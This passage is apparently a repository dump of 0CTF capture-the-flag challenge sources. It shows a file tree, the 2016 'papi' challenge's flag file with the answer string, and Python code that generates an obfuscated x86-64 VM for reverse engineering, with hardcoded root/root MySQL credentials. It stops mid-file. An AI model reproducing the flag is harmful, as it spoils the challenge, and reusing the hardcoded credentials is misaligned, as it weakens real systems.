├── 2016 └── 0ctf │ └── papi │ ├── README.md │ ├── flag │ └── server │ ├── README.md │ ├── assembler.py │ ├── code_db.py │ ├── config.py │ ├── ins.py │ ├── ir.py │ ├── obf.py │ ├── sql │ ├── utils.py │ ├── vm.py │ ├── vm_opcode.py │ └── wrapper.py ├── 2018 └── 0ctf │ ├── Provisioning │ ├── README.md │ ├── problem.zip │ ├── recover.py │ └── solve.py │ └── g0g0g0 │ ├── README.md │ ├── answer10 │ ├── client.py │ ├── flag │ ├── gen.sh │ ├── gogo.go │ ├── input │ ├── solve.py │ ├── trace.log │ └── verifier.py └── 2019 └── 0ctf ├── sanitize ├── Makefile ├── README.md ├── flag └── sanitize.c ├── sixology ├── IDA │ ├── 0ctf.hpp │ ├── CMakeLists.txt │ ├── ana.cpp │ ├── emu.cpp │ ├── ins.cpp │ ├── ins.hpp │ ├── out.cpp │ └── reg.cpp ├── README.md └── src │ ├── assembler.py │ ├── binary │ ├── generator.py │ ├── sixology.s │ ├── solve.py │ └── vm.py └── wasabi ├── README.md ├── release ├── flag.wasabi └── wasabi.tar.gz ├── solution └── solve.py └── src ├── Makefile ├── Makefile.linux ├── check_diff.py ├── config.h ├── generate_step2.py ├── generate_step3.py ├── main.cpp ├── option.cpp ├── option.h ├── sha.h ├── sha512.c ├── step1.cpp ├── step1.h ├── step2.h ├── step3.cpp ├── step3.h ├── utils.cpp ├── utils.h ├── zerology.cpp └── zerology.h /2016/0ctf/papi/README.md: -------------------------------------------------------------------------------- 1 | papi 2 | 3 | Program Analysis and Program Implementation. 4 | 5 | -------------------------------------------------------------------------------- /2016/0ctf/papi/flag: -------------------------------------------------------------------------------- 1 | 0ctf{Aut0Mat1c_r3VeRsiNg_M4ch1nE_Is_aw3s0mE!} 2 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/README.md: -------------------------------------------------------------------------------- 1 | # Config 2 | need to use when online 3 | ``` 4 | assembler.py code_db.py config.py ins.py ir.py obf.py utils.py vm.py vm_opcode.py wrapper.py 5 | ``` 6 | 7 | Config 8 | change the database password 9 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/assembler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import random 5 | import sys 6 | 7 | from utils import * 8 | from ins import * 9 | 10 | import config 11 | import code_db 12 | import vm_opcode 13 | 14 | 15 | def read_ir(filename): 16 | return open(filename).readlines() 17 | 18 | def parser(ir): 19 | if ir.startswith("#"): 20 | return None, None 21 | if ' ' in ir: 22 | opcode, operands = ir.split(' ', 1) 23 | operands = map(lambda x: x.strip(), operands.split(',', )) 24 | return opcode.upper(), map(lambda x: x.lower(), operands) 25 | else: 26 | return ir.rstrip('\n'), [] 27 | 28 | def randkey(): 29 | return random.randint(0, 0xffffffffffffffff) 30 | 31 | def to_asm_bytes(a): 32 | return ', '.join(map(lambda x: '%#x' % ord(x), a)) 33 | 34 | def ir_compiler(filename, irs): 35 | regs = {} 36 | handlers = [] 37 | cursor, db = code_db.init_cursor() 38 | 39 | #ir_counter = {}.fromkeys(vm_opcode.INSTRUCTIONS, 0) 40 | index = 0 41 | 42 | handlers.append(VM_INIT()) 43 | 44 | ins_key = randkey() 45 | first_key = ins_key 46 | mask_keys = [] 47 | 48 | cont_ctr = 0 49 | 50 | vm_code = [] 51 | 52 | for ir in irs: 53 | opcode, operands = parser(ir) 54 | #print opcode, operands 55 | # ADD2 56 | if opcode.startswith("ADD") \ 57 | or opcode.startswith("MUL"): 58 | op_num = int(opcode[3]) + 1 59 | if len(operands) != op_num: 60 | print "line %d: ADD or MUL operands number should be %d" % (index+1, op_num) 61 | continue 62 | op = vm_opcode.opcodes[opcode] 63 | srcs = [] 64 | for i in xrange(1, op_num): 65 | srcs.append(regs[operands[i]] if regs.has_key(operands[i]) else new_vm_reg()) 66 | dst = regs[operands[0]] if regs.has_key(operands[0]) else new_vm_reg() 67 | 68 | # get handler data from database 69 | code, offs, ctx, pc, key, handler_id = code_db.get_code_by_type(db, cursor, op) 70 | 71 | # add ctx and pc switch 72 | code = update_vm(ctx, pc, key) + code.split('\n') 73 | 74 | # update dst reg location in vm memory 75 | regs[operands[0]] = dst 76 | 77 | vm_code.append(encode_by_offs(offs, [dst] + srcs)) 78 | 79 | elif opcode == "INPUT": 80 | if len(operands) != 1: 81 | print "line %d: INPUT operand number should be 1" % (index+1) 82 | continue 83 | op = vm_opcode.opcodes[opcode] 84 | dst = regs[operands[0]] if regs.has_key(operands[0]) else new_vm_reg() 85 | 86 | # get handler data from database 87 | code, offs, ctx, pc, key, handler_id = code_db.get_code_by_type(db, cursor, op) 88 | 89 | # add ctx and pc switch 90 | code = update_vm(ctx, pc, key) + patch_INPUT(code.split('\n'), index) 91 | 92 | # update dst reg location in vm memory 93 | regs[operands[0]] = dst 94 | 95 | vm_code.append(encode_by_offs(offs, [dst])) 96 | elif opcode == "HINT": 97 | op = vm_opcode.opcodes["HINT"] 98 | code, offs, ctx, pc, key, handler_id = code_db.get_code_by_type(db, cursor, op) 99 | 100 | code = update_vm(ctx, pc, key) + code.split('\n') 101 | 102 | vm_code.append(encode_by_offs(offs, [])) 103 | elif opcode == "JUDGE": 104 | if len(operands) != 2: 105 | print "JUDGE args number should be 2" 106 | continue 107 | op = vm_opcode.opcodes[opcode] 108 | src = regs[operands[0]] if regs.has_key(operands[0]) else new_vm_reg() 109 | imm = int(operands[1]) 110 | 111 | # get handler data from database 112 | code, offs, ctx, pc, key, handler_id = code_db.get_code_by_type(db, cursor, op) 113 | 114 | # add ctx and pc switch 115 | code = update_vm(ctx, pc, key) + code.split('\n') 116 | 117 | vm_code.append(encode_by_offs(offs, [src, imm])) 118 | 119 | elif opcode == "CMP": 120 | if len(operands) != 3: 121 | print "CMP operands number should be 3" 122 | continue 123 | op = vm_opcode.opcodes[opcode] 124 | src1 = regs[operands[1]] if regs.has_key(operands[1]) else new_vm_reg() 125 | src2 = regs[operands[2]] if regs.has_key(operands[2]) else new_vm_reg() 126 | dst = regs[operands[0]] if regs.has_key(operands[0]) else new_vm_reg() 127 | 128 | # get handler data from database 129 | code, offs, ctx, pc, key, handler_id = code_db.get_code_by_type(db, cursor, op) 130 | 131 | # add ctx and pc switch 132 | code = update_vm(ctx, pc, key) + code.split('\n') 133 | 134 | # update dst reg location in vm memory 135 | regs[operands[0]] = dst 136 | 137 | vm_code.append(encode_by_offs(offs, [dst, src1, src2])) 138 | 139 | elif opcode == "MOV": 140 | if len(operands) != 2: 141 | print "MOV operands number should be 2" 142 | continue 143 | op = vm_opcode.opcodes[opcode] 144 | dst = regs[operands[0]] if regs.has_key(operands[0]) else new_vm_reg() 145 | 146 | # get handler data from database 147 | code, offs, ctx, pc, key, handler_id = code_db.get_code_by_type(db, cursor, op) 148 | 149 | # add ctx and pc switch 150 | code = update_vm(ctx, pc, key) + patch_MOV(code.split('\n'), operands[1]) 151 | 152 | # update dst reg location in vm memory 153 | regs[operands[0]] = dst 154 | 155 | vm_code.append(encode_by_offs(offs, [dst])) 156 | 157 | # patch RIP label 158 | patch_fake_RIP(code, index) 159 | 160 | cont_ctr = patch_CONT(code, cont_ctr) 161 | 162 | # update key 163 | imm_key = randkey() 164 | mask_keys.append(imm_key ^ ins_key) 165 | ins_key ^= imm_key 166 | 167 | patch_KEY(code, imm_key) 168 | 169 | # add handlers assembly to handlers list 170 | code.insert(0, "L_%d:" % index) 171 | handlers.append(code) 172 | 173 | # increase handler counter 174 | index += 1 175 | 176 | new_handlers = shuffle(handlers[2:]) 177 | handlers = handlers[:2] + new_handlers 178 | 179 | post_proc(filename, handlers, to_asm_bytes(p64(first_key)), mask_keys, vm_code) #'0x00,' * ((len(handlers) + random.randint(10, 100)) * 8)) 180 | 181 | if __name__ == "__main__": 182 | ''' 183 | if len(sys.argv) < 2: 184 | print "[Usage] python %s IRfile" % __file__ 185 | quit() 186 | main(sys.argv[1]) 187 | ''' 188 | irs = read_ir("bin.ir") 189 | ir_compiler(irs) 190 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/code_db.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import random 5 | import MySQLdb as mdb 6 | 7 | import vm 8 | import vm_opcode 9 | 10 | from ins import * 11 | 12 | from pwn import asm, context 13 | 14 | context.arch = "x86_64" 15 | 16 | user = "root" 17 | passwd = 'root' 18 | dbname = "vm" 19 | table = "handlers" 20 | 21 | def init_cursor(): 22 | db = mdb.connect("localhost", user, passwd, dbname, charset="utf8") 23 | cursor = db.cursor() 24 | return cursor, db 25 | 26 | def get_code_by_type(db, cursor, opcode): 27 | sql = "select id from handlers where type=%s" 28 | cursor.execute(sql, (opcode, )) 29 | handlers = cursor.fetchall() 30 | 31 | result = [] 32 | handler_id = None 33 | if (cursor.fetchall() > 0): 34 | handler_id = random.choice(handlers)[0] 35 | sql = "SELECT code, offs, ctx, pc, xorkey FROM handlers WHERE id=%s" 36 | cursor.execute(sql, (handler_id, )) 37 | result.append(cursor.fetchall()) 38 | return result[0][0] + (handler_id,) 39 | 40 | def insert_code(*args, **kwargs): #cursor, name, code, locs): 41 | db = args[0] 42 | cursor = args[1] 43 | name = args[2] 44 | code = '\n'.join(args[3]) 45 | offs = args[4] 46 | ctx = args[5] 47 | pc = args[6] 48 | key = args[7] 49 | if len(code) * 2 > 8192: 50 | print "code is too long" 51 | return 52 | sql = "INSERT INTO handlers (type, name, code, offs, ctx, pc, xorkey) \ 53 | VALUES(%s, %s, %s, %s, %s, %s, %s)" 54 | try: 55 | cursor.execute(sql, (vm_opcode.opcodes[name], name, code, str(offs), ctx, pc, key)) 56 | db.commit() 57 | except: 58 | db.rollback() 59 | return 60 | 61 | INS_NUM = 100 62 | 63 | def db_init(): 64 | cursor, db = init_cursor() 65 | for i in xrange(INS_NUM): 66 | offs = shuffle_offs(3) 67 | instructions, (ctx, pc, key) = CMP(offs) 68 | offs = sorted(offs.items(), key=lambda x: x[1]) 69 | insert_code(db, cursor, 'CMP', instructions, offs, ctx, pc, key) 70 | for i in xrange(INS_NUM): 71 | offs = shuffle_offs(3) 72 | instructions, (ctx, pc, key) = ADD(offs) 73 | offs = sorted(offs.items(), key=lambda x: x[1]) 74 | insert_code(db, cursor, 'ADD2', instructions, offs, ctx, pc, key) 75 | for n in xrange(3, 3+4): 76 | for i in xrange(INS_NUM): 77 | offs = shuffle_offs(n) 78 | instructions, (ctx, pc, key) = MUL(offs) 79 | offs = sorted(offs.items(), key=lambda x: x[1]) 80 | insert_code(db, cursor, 'MUL%d' % (n-1), instructions, offs, ctx, pc, key) 81 | for i in xrange(INS_NUM): 82 | offs = shuffle_offs(1) 83 | instructions, (ctx, pc, key) = INPUT(offs) 84 | offs = sorted(offs.items(), key=lambda x: x[1]) 85 | insert_code(db, cursor, 'INPUT', instructions, offs, ctx, pc, key) 86 | for i in xrange(INS_NUM): 87 | offs = shuffle_offs(1) 88 | instructions, (ctx, pc, key) = MOV(offs) 89 | offs = sorted(offs.items(), key=lambda x: x[1]) 90 | insert_code(db, cursor, 'MOV', instructions, offs, ctx, pc, key) 91 | for i in xrange(INS_NUM): 92 | offs = shuffle_offs(0) 93 | instructions, (ctx, pc, key) = HINT() 94 | offs = sorted(offs.items(), key=lambda x: x[1]) 95 | insert_code(db, cursor, 'HINT', instructions, offs, ctx, pc, key) 96 | for i in xrange(INS_NUM): 97 | offs = ({OP1:0, OP2:1}) 98 | instructions, (ctx, pc, key) = JUDGE(offs) 99 | offs = sorted(offs.items(), key=lambda x: x[1]) 100 | insert_code(db, cursor, 'JUDGE', instructions, offs, ctx, pc, key) 101 | 102 | if __name__ == "__main__": 103 | db_init() 104 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/config.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | need_strip = True 5 | debug = True 6 | obfuscation = False 7 | 8 | tmp_path = "/tmp/vm/" 9 | waiting_time = 60 10 | 11 | debug_suffix = '.old' 12 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/ins.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import vm 5 | import obf 6 | 7 | from utils import * 8 | 9 | BIN_OP_SIZE = 3 10 | INPUT_OP_SIZE = 1 11 | CMP_OP_SIZE = 3 12 | MOV_OP_SIZE = 1 13 | 14 | CMP_TYPES = 3 15 | 16 | # define id in sizes 17 | OP_OFFSET = 0 # id of offset in vm ir code 18 | OP1 = 1 # id of op1 in vm ir code 19 | OP2 = 2 20 | OP3 = 3 21 | OP4 = 4 22 | OP5 = 5 23 | 24 | X86_MOV_REG_REG_LENGTH = 3 25 | 26 | def shuffle_offs(num): 27 | ops = range(num+1) 28 | random.shuffle(ops) 29 | offs = {} 30 | 31 | off = 0 32 | for i in xrange(num+1): 33 | offs[ops[i]] = off 34 | off += HANDLER_OFFSET_SIZE if ops[i] == OP_OFFSET else 1 35 | return offs 36 | 37 | def encode_by_offs(_offs, operands): 38 | code = [PADDING_CHAR] * (HANDLER_OFFSET_SIZE + len(operands)) 39 | offs = eval(_offs) 40 | #print offs 41 | next_off = None 42 | for (_id, off) in offs: 43 | if _id != OP_OFFSET: 44 | code[off] = chr(operands[_id-1]) 45 | else: 46 | next_off = off 47 | return [''.join(code), next_off] 48 | 49 | def patch_CONT(instructions, start): 50 | for i in xrange(len(instructions)): 51 | code = instructions[i] 52 | if 'CONT' in code: 53 | instructions[i] = code.replace("CONT", "CONT%d" % start) 54 | if not code.startswith("j"): 55 | start += 1 56 | return start 57 | 58 | def patch_fake_RIP(instructions, idx): 59 | i = len(instructions)-1 60 | while instructions[i] != fake_RIP and i >= 0: 61 | i -= 1 62 | if i != -1: 63 | instructions[i] = "RIP_%d:" % idx 64 | return instructions 65 | 66 | def patch_KEY(instructions, value): 67 | i = 0 68 | while i < len(instructions) and not fake_KEY in instructions[i]: 69 | i += 1 70 | if i != len(instructions): 71 | instructions[i] = instructions[i].replace(fake_KEY, "%#x" % (value)) 72 | return instructions 73 | 74 | def RESCHEDULE(): 75 | vm.Free_Regs = set(vm.REGS) 76 | 77 | vm.Ctx = choose_reg() 78 | vm.PC = choose_reg() 79 | vm.Key = choose_reg() 80 | 81 | def LOAD(off=0): 82 | ins = [] 83 | src = choose_reg() 84 | dst = choose_reg() 85 | 86 | ins.append("movzx %s, byte ptr [%s + %d]" % (src.str(), vm.PC.str(), off)) 87 | if config.obfuscation: 88 | if random.randint(0, 1) == 0: 89 | ins.extend(obf.super_obf(src)) 90 | 91 | ins.append("shl %s, 3" % (src.str())) 92 | if config.obfuscation: 93 | if random.randint(0, 1) == 0: 94 | ins.extend(obf.super_obf(src)) 95 | 96 | ins.append("mov %s, [%s + %s]" % (dst.str(), vm.Ctx.str(), src.str())) 97 | if config.obfuscation: 98 | if random.randint(0, 1) == 0: 99 | ins.extend(obf.super_obf(dst)) 100 | 101 | vm.Free_Regs.add(src) 102 | return ins, dst 103 | 104 | def STORE(src, off): 105 | ins = [] 106 | dst = choose_reg() 107 | 108 | ins.append("movzx %s, byte ptr [%s + %d]" % (dst.str(), vm.PC.str(), off)) 109 | if config.obfuscation: 110 | if random.randint(0, 1) == 0: 111 | ins.extend(obf.super_obf(dst)) 112 | 113 | ins.append("shl %s, 3" % (dst.str())) 114 | if config.obfuscation: 115 | if random.randint(0, 1) == 0: 116 | ins.extend(obf.super_obf(dst)) 117 | if random.randint(0, 1) == 0: 118 | ins.extend(obf.super_obf(src)) 119 | 120 | ins.append("mov qword ptr [%s + %s], %s" % (vm.Ctx.str(), dst.str(), src.str() if isinstance(src, vm.Reg) else str(src))) 121 | if config.obfuscation: 122 | if random.randint(0, 1) == 0: 123 | ins.extend(obf.super_obf(dst)) 124 | 125 | vm.Free_Regs.add(dst) 126 | return ins 127 | 128 | def UPDATE_PC(size): 129 | ins = [] 130 | ins.append("add %s, %d" % (vm.PC.str(), size)) 131 | return ins 132 | 133 | def NEXT_INS(next_ins_offset_off, ins_size): 134 | dst = choose_reg() 135 | ins = [] 136 | ins.append("mov %s, [%s + %d]" % (dst.str(), vm.PC.str(), next_ins_offset_off)) 137 | if config.obfuscation: 138 | if random.randint(0, 1) == 0: 139 | ins.extend(obf.super_obf(dst)) 140 | 141 | tmp = choose_reg() 142 | ins.append('mov %s, %s' % (tmp.str(), fake_KEY)) 143 | if config.obfuscation: 144 | if random.randint(0, 1) == 0: 145 | ins.extend(obf.super_obf(tmp)) 146 | 147 | ins.append('xor %s, %s' % (vm.Key.str(), tmp.str())) 148 | if config.obfuscation: 149 | if random.randint(0, 1) == 0: 150 | ins.extend(obf.super_obf(vm.Key)) 151 | 152 | ins.append('xor %s, %s' % (dst.str(), vm.Key.str())) 153 | if config.obfuscation: 154 | if random.randint(0, 1) == 0: 155 | ins.extend(obf.super_obf(dst)) 156 | 157 | vm.Free_Regs.add(tmp) 158 | 159 | ins.extend(UPDATE_PC(ins_size)) 160 | 161 | rip = choose_reg() 162 | ins.append("lea %s, [rip]" % rip.str(64)) 163 | ins.append(fake_RIP) 164 | 165 | ins.append("add %s, %s" % (dst.str(64), rip.str(64))) 166 | 167 | jmp_type = random.randint(0, 1) 168 | if jmp_type == 0: 169 | ins.append("push %s" % dst.str()) 170 | ins.append("ret") 171 | else: 172 | ins.append("jmp %s" % dst.str()) 173 | 174 | return ins 175 | 176 | def VM_INIT(): 177 | RESCHEDULE() 178 | 179 | ins = [] 180 | ins.append("lea %s, context" % vm.Ctx.str()) 181 | ins.append("lea %s, vm_code" % (vm.PC.str())) 182 | ins.append("mov %s, vm_key" % vm.Key.str()) 183 | 184 | return ins 185 | 186 | def Arithmetic(fn): 187 | def wrapper(*args, **kwargs): 188 | offs = args[0] 189 | ins = [] 190 | 191 | RESCHEDULE() 192 | 193 | num_of_op = len(offs) - 1 194 | srcs = [] 195 | dst = choose_reg() 196 | for i in xrange(OP2, len(offs)): 197 | tmp_ins, src = LOAD(offs[i]) 198 | ins.extend(tmp_ins) 199 | srcs.append(src) 200 | 201 | args += (srcs, dst, ) 202 | ins.extend(fn(*args)) 203 | 204 | store = STORE(dst, offs[OP1]) 205 | ins.extend(store) 206 | 207 | vm.Free_Regs.union(set(srcs)) 208 | 209 | tmp = NEXT_INS(offs[OP_OFFSET], num_of_op + HANDLER_OFFSET_SIZE) 210 | ins.extend(tmp) 211 | return ins, clear_vm() 212 | return wrapper 213 | 214 | @Arithmetic 215 | def ADD(*args): 216 | offs = args[0] 217 | srcs = args[1] 218 | dst = args[2] 219 | ins = [] 220 | ins.append("xor %s, %s" % (dst.str(), dst.str())) 221 | 222 | if config.obfuscation: 223 | if random.randint(0, 1) == 0: 224 | ins.extend(obf.super_obf(dst)) 225 | 226 | for i in xrange(len(offs)-2): 227 | ins.append("add %s, %s" % (dst.str(), srcs[i].str())) 228 | 229 | if config.obfuscation: 230 | if random.randint(0, 1) == 0: 231 | ins.extend(obf.super_obf(dst)) 232 | 233 | return ins 234 | 235 | @Arithmetic 236 | def MUL(*args): 237 | offs = args[0] 238 | srcs = args[1] 239 | dst = args[2] 240 | ins = [] 241 | ins.append("xor %s, %s" % (dst.str(), dst.str())) 242 | 243 | if config.obfuscation: 244 | if random.randint(0, 1) == 0: 245 | ins.extend(obf.super_obf(dst)) 246 | 247 | ins.append("inc %s" % (dst.str())) 248 | for i in xrange(len(offs)-2): 249 | ins.append("imul %s, %s" % (dst.str(), srcs[i].str())) 250 | 251 | if config.obfuscation: 252 | if random.randint(0, 1) == 0: 253 | ins.extend(obf.super_obf(dst)) 254 | return ins 255 | 256 | def INPUT(offs): 257 | reset_free_regs() 258 | rdi = vm.get_reg("rdi") 259 | rsi = vm.get_reg("rsi") 260 | rax = vm.get_reg("rax") 261 | rdx = vm.get_reg("rdx") 262 | vm.Free_Regs.remove(rdi) 263 | vm.Free_Regs.remove(rsi) 264 | vm.Free_Regs.remove(rax) 265 | vm.Free_Regs.remove(rdx) 266 | 267 | vm.Ctx = choose_reg() 268 | vm.PC = choose_reg() 269 | vm.Key = choose_reg() 270 | 271 | ins = [] 272 | 273 | ins.append("push %s" % vm.Ctx.str()) 274 | ins.append("push %s" % vm.PC.str()) 275 | ins.append("push %s" % vm.Key.str()) 276 | 277 | # init 278 | ins.append("mov rdx, 1") 279 | ins.append("lea rsi, input") 280 | ins.append("xor rdi, rdi") 281 | 282 | dst = choose_reg() 283 | ins.append("xor %s, %s" % (dst.str(), dst.str())) 284 | counter = choose_reg() 285 | ins.append("xor %s, %s" % (counter.str(), counter.str())) 286 | 287 | # loop 288 | ins.append("input_loop:") 289 | ins.append("xor rax, rax") 290 | ins.append("push %s" % dst.str()) 291 | ins.append("push %s" % counter.str()) 292 | ins.append("syscall") 293 | ins.append("pop %s" % counter.str()) 294 | ins.append("pop %s" % dst.str()) 295 | ins.append("cmp rax, 1") 296 | ins.append("jne error") 297 | ins.append("mov al, byte ptr [rsi]") 298 | ins.append("cmp al, 0xa") 299 | ins.append("je finish") 300 | ins.append("cmp al, 0xa") 301 | ins.append("je finish") 302 | ins.append("cmp al, 0x30") 303 | ins.append("jb error") 304 | ins.append("cmp al, 0x39") 305 | ins.append("ja error") 306 | tmp = choose_reg() 307 | ins.append("mov %s, %s" % (tmp.str(), dst.str())) 308 | ins.append("rol %s, 3" % (dst.str())) 309 | ins.append("rol %s, 1" % (tmp.str())) 310 | ins.append("add %s, %s" % (dst.str(), tmp.str())) 311 | ins.append("sub rax, 0x30") 312 | ins.append("add %s, rax" % (dst.str())) 313 | ins.append("inc %s" % counter.str()) 314 | ins.append("cmp %s, 8" % counter.str()) 315 | ins.append("je finish") 316 | ins.append("jmp input_loop") 317 | 318 | # error 319 | ins.append("error:") 320 | ins.append("mov rdi, 1") 321 | ins.append("mov rax, 60") 322 | ins.append("syscall") 323 | 324 | # finish 325 | vm.Free_Regs.add(rdi) 326 | vm.Free_Regs.add(rsi) 327 | vm.Free_Regs.add(rax) 328 | vm.Free_Regs.add(rdx) 329 | 330 | 331 | ins.append("finish:") 332 | ins.append("pop %s" % vm.Key.str()) 333 | ins.append("pop %s" % vm.PC.str()) 334 | ins.append("pop %s" % vm.Ctx.str()) 335 | ins.extend(STORE(dst, offs[OP1])) 336 | 337 | # next instructions 338 | ins.extend(NEXT_INS(offs[OP_OFFSET], INPUT_OP_SIZE + HANDLER_OFFSET_SIZE)) 339 | return ins, clear_vm() 340 | 341 | # can be optimized 342 | def patch_INPUT(instructions, idx): 343 | labels = ["input_loop", "finish", "error"] 344 | for i in xrange(len(instructions)): 345 | for label in labels: 346 | if label in instructions[i]: 347 | instructions[i] = instructions[i].replace(label, label+("_%d" % idx)) 348 | return instructions 349 | 350 | def HINT(): 351 | reset_free_regs() 352 | rdi = vm.get_reg("rdi") 353 | rsi = vm.get_reg("rsi") 354 | rax = vm.get_reg("rax") 355 | rdx = vm.get_reg("rdx") 356 | vm.Free_Regs.remove(rdi) 357 | vm.Free_Regs.remove(rsi) 358 | vm.Free_Regs.remove(rax) 359 | vm.Free_Regs.remove(rdx) 360 | 361 | vm.Ctx = choose_reg() 362 | vm.PC = choose_reg() 363 | vm.Key = choose_reg() 364 | 365 | ins = [] 366 | 367 | ins.append("push %s" % vm.Ctx.str()) 368 | ins.append("push %s" % vm.PC.str()) 369 | ins.append("push %s" % vm.Key.str()) 370 | 371 | ins.append("mov rdx, %s" % len(string_map["HINT"][1])) 372 | ins.append("lea rsi, %s" % string_map["HINT"][0]) 373 | ins.append("mov rdi, 1") 374 | ins.append("xor rax, rax") 375 | ins.append("inc rax") 376 | ins.append("syscall") 377 | 378 | vm.Free_Regs.add(rdi) 379 | vm.Free_Regs.add(rsi) 380 | vm.Free_Regs.add(rax) 381 | vm.Free_Regs.add(rdx) 382 | 383 | ins.append("pop %s" % vm.Key.str()) 384 | ins.append("pop %s" % vm.PC.str()) 385 | ins.append("pop %s" % vm.Ctx.str()) 386 | 387 | ins.extend(NEXT_INS(0, HANDLER_OFFSET_SIZE)) 388 | return ins, clear_vm() 389 | 390 | def CMP(offs): 391 | ins = [] 392 | 393 | RESCHEDULE() 394 | 395 | load1, src1 = LOAD(offs[OP2]) 396 | ins.extend(load1) 397 | load2, src2 = LOAD(offs[OP3]) 398 | ins.extend(load2) 399 | 400 | _type = random.randint(1, CMP_TYPES) 401 | flag = choose_reg() 402 | ins.append("movzx %s, byte ptr [%s + %d]" % (flag.str(), vm.PC.str(), offs[OP1])) 403 | if config.obfuscation: 404 | if random.randint(0, 1) == 0: 405 | ins.extend(obf.super_obf(flag)) 406 | 407 | ins.append("shl %s, 3" % (flag.str())) 408 | if config.obfuscation: 409 | if random.randint(0, 1) == 0: 410 | ins.extend(obf.super_obf(flag)) 411 | 412 | if _type == 1: 413 | ins.append("xor %s, %s" % (src1.str(), src2.str())) 414 | elif _type == 2: 415 | ins.append("sub %s, %s" % (src1.str(), src2.str())) 416 | else: 417 | ins.append("cmp %s, %s" % (src1.str(), src2.str())) 418 | 419 | ins.append("sete [%s + %s]" % (vm.Ctx.str(), flag.str())) 420 | 421 | vm.Free_Regs.union(set([src1, src2, flag])) 422 | 423 | ins.extend(NEXT_INS(offs[OP_OFFSET], CMP_OP_SIZE + HANDLER_OFFSET_SIZE)) 424 | return ins, clear_vm() 425 | 426 | def JUDGE(offs): 427 | ins = [] 428 | 429 | reset_free_regs() 430 | rdi = vm.get_reg("rdi") 431 | rsi = vm.get_reg("rsi") 432 | rax = vm.get_reg("rax") 433 | rdx = vm.get_reg("rdx") 434 | rbx = vm.get_reg("rbx") 435 | vm.Free_Regs.remove(rdi) 436 | vm.Free_Regs.remove(rsi) 437 | vm.Free_Regs.remove(rax) 438 | vm.Free_Regs.remove(rdx) 439 | vm.Free_Regs.remove(rbx) 440 | 441 | src = choose_reg() 442 | vm.Ctx = choose_reg() 443 | vm.PC = choose_reg() 444 | vm.Key = choose_reg() 445 | 446 | rst = choose_reg() 447 | 448 | ins.append("movzx %s, byte ptr [%s + %d]" % (src.str(), vm.PC.str(), offs[OP1])) 449 | ins.append("shl %s, 3" % (src.str())) 450 | ins.append("mov %s, [%s + %s]" % (rbx.str(), vm.Ctx.str(), src.str())) 451 | 452 | vm.Free_Regs.add(src) 453 | 454 | 455 | ins.append("cmp %s, byte ptr [%s + %d]" % (rbx.str(8, 1), vm.PC.str(), offs[OP2])) 456 | ins.append("je judge_suc") 457 | ins.append("lea rsi, %s" % (string_map["WRONG"][0])) 458 | ins.append("mov rdx, %d" % (len(string_map["WRONG"][1])-1)) 459 | ins.append("mov %s, 1" % rst.str()) 460 | ins.append("jmp result") 461 | ins.append("judge_suc:") 462 | ins.append("lea rsi, %s" % (string_map['CORRECT'][0])) 463 | ins.append("mov rdx, %d" % (len(string_map["CORRECT"][1])-1)) 464 | ins.append("mov %s, 0" % rst.str()) 465 | ins.append("result:") 466 | 467 | ins.append("push %s" % vm.Ctx.str()) 468 | ins.append("push %s" % vm.PC.str()) 469 | ins.append("push %s" % vm.Key.str()) 470 | ins.append("push %s" % rst.str()) 471 | 472 | ins.append("mov rdi, 1") 473 | ins.append("xor rax, rax") 474 | ins.append("inc rax") 475 | ins.append("syscall") 476 | 477 | vm.Free_Regs.add(rdi) 478 | vm.Free_Regs.add(rsi) 479 | vm.Free_Regs.add(rax) 480 | vm.Free_Regs.add(rdx) 481 | 482 | ins.append("pop %s" % rst.str()) 483 | ins.append("pop %s" % vm.Key.str()) 484 | ins.append("pop %s" % vm.PC.str()) 485 | ins.append("pop %s" % vm.Ctx.str()) 486 | 487 | ins.append("mov rax, 60") 488 | ins.append("mov rdi, %s" % rst.str()) 489 | ins.append("syscall") 490 | 491 | return ins, clear_vm() 492 | 493 | def MOV(offs): 494 | ins = [] 495 | 496 | RESCHEDULE() 497 | 498 | dst = choose_reg() 499 | tmp = choose_reg() 500 | 501 | ins.append("movzx %s, byte ptr [%s + %d]" % (dst.str(), vm.PC.str(), offs[OP1])) 502 | ins.append("shl %s, 3" % (dst.str())) 503 | if config.obfuscation: 504 | if random.randint(0, 1) == 0: 505 | ins.extend(obf.super_obf(dst)) 506 | ins.extend(obf.obf_mov_imm(tmp)) 507 | ins.append("mov %s, IMM" % tmp.str()) 508 | if config.obfuscation: 509 | if random.randint(0, 1) == 0: 510 | ins.extend(obf.super_obf(dst)) 511 | ins.append("mov qword ptr [%s + %s], %s" % (vm.Ctx.str(), dst.str(), tmp.str())) 512 | 513 | ins.extend(NEXT_INS(offs[OP_OFFSET], MOV_OP_SIZE + HANDLER_OFFSET_SIZE)) 514 | 515 | return ins, clear_vm() 516 | 517 | def patch_MOV(ins, value): 518 | for i in xrange(len(ins)): 519 | if "IMM" in ins[i]: 520 | ins[i] = ins[i].replace("IMM", str(value)) 521 | break 522 | return ins 523 | 524 | if __name__ == "__main__": 525 | ''' 526 | VM_INIT() 527 | ins = update_vm(vm.PC.str(), vm.Ctx.str()) 528 | print '\n'.join(ins) 529 | ''' 530 | -------------------------------------------------------------------------------- /2016/0ctf/papi/server/ir.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import os 5 | 6 | import random 7 | 8 | import assembler 9 | import config 10 | 11 | UPPER = 7131 12 | UP = 256 13 | 14 | MAX_POW = 5 15 | 16 | 17 | def create_numbers(): 18 | a = random.randint(1, UP) 19 | b = random.randint(1, UP) 20 | c = random.randint(1, UP) 21 | left = sorted([a, a+b+4*c, a+2*b+c, a+4*b+9*c, a+5*b+6*c, a+6*b+10*c]) 22 | right = sorted([a+b, a+c, a+2*b+6*c, a+4*b+4*c, a+5*b+10*c, a+6*b+9*c]) 23 | return left, right 24 | 25 | def create_answer(l, r): 26 | answer = [] 27 | 